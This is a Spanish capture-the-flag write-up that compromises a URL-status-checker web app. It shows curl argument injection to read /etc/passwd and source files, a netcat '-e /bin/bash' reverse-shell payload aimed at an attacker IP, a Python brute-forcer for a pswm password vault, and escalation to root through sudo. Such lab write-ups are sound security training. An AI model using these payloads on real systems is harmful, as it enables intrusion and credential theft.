NMAP

Comenzamos con la enumeracion de puertos y servicios:

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Solamente puerto 22 y 80 disponibles de TCP.


HTTP | 80

Al ingresar al sitio web del puerto 80 que esta corriendo un Apache nos encontramos con lo siguiente:


Al parecer una tipica web donde chequea el status de un URL ingresado, probamos con LOCALHOST:


1
http://localhost


Si trato de leer un archivo como .htaccess, me da error de permisos:


Parameter Injection

Queria saber de que modo leia el codigo fuente cuando le pasabamos el sitio web mediante el parametro “URL” que utiliza, y compruebo que se trata de cURL, ya que intente obtener el help y funcionó:

1
http://localhost -h


Leyendo archivos mediante file:///

Mediante esta inyeccion puedo ver archivos en el sistema:

1
http://localhost file:///etc/hosts


1
http://localhost file:///etc/passwd


Interpretando el codigo de INDEX.php

Siguiendo la misma via de inyeccion si trato con file:/// obtener el codigo fuente de index.php encuentro un finding interesante:

1
http://localhost file:///var/www/html/index.php


expertmode=tcp
  • Cuando se accede mediante el index.php pasandole expertmode=tcp, el formulario permite ingresar una IP y un puerto.

  • El código verifica si la IP es válida y si el puerto es un número entero.

  • Luego, utiliza nc (netcat) para verificar si el puerto está abierto en la IP especificada:

    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port"); exec($ec . " 2>&1",$output,$rc);



USER: Getting revshell via Netcat

Aunque usa escapeshellcmd() para intentar proteger el comando, esto no es suficiente, ya que solo escapa caracteres específicos, pero no protege los parámetros que se pasan a netcat ($ip y $port). La idea fue inyectar opciones adicionales en el parámetro port para ejecutar una revshell:


Payload
1
ip=10.8.0.147&port=8000+-e+/bin/bash


Finalmente cateamos la flag y obtenemos el user.


Enumerando el sistema, habiamos visto al principio que teniamos un solo usuario, llamado “aleks”, dentro de su carpeta, si veo los permisos puedo acceder a su home y asi mismo a una carpeta llamada pswm:


Dentro hay un archivo llamado del mismo modo, que aparentemente tiene un contenido cifrado.


PSWM | Command Line Password Manager

Una rapida busqueda a Google me permite identificar de que se trata.

https://github.com/Julynx/pswm


Cracking pwsm master password

Para resolver esto utilicé fuerza bruta con el wordlist rockyou.txt y la biblioteca cryptocode en Python. El script va probando cada contraseña del wordlist, usando la función cryptocode.decrypt() contra la cadena cifrada.


crackPSWM.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
# by shkz

import cryptocode

# Master Password
secret = "e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==w"

# BF Wordlist -> rockyou.txt
wordlist = "rockyou.txt"

# BF with rockyou.txt
try:
with open(wordlist, "r", encoding="latin-1") as file:
for password in file:
password = password.strip()
decrypted_data = cryptocode.decrypt(secret, password)
if decrypted_data:
print(f"[+] Password FOUND!: {password}")
print(f"Data: {decrypted_data}")
break
else:
print("[-] No luck!")
except FileNotFoundError:
print(f"[-] Error file {wordlist}.")


Ejecuto el script y logro crackear el Master Password cifrado:

1
python3 crackPSWM.py


Getting aleks shell

Ahora que tengo el password de aleks puedo convertirme en el y obtener shell:

1
su aleks


ROOT

Para nuestra suerte verificando el comando sudo -l vemos que tiene ALL:ALL


Basicamente somos root.

1
sudo su


Pwn3d!
shkz.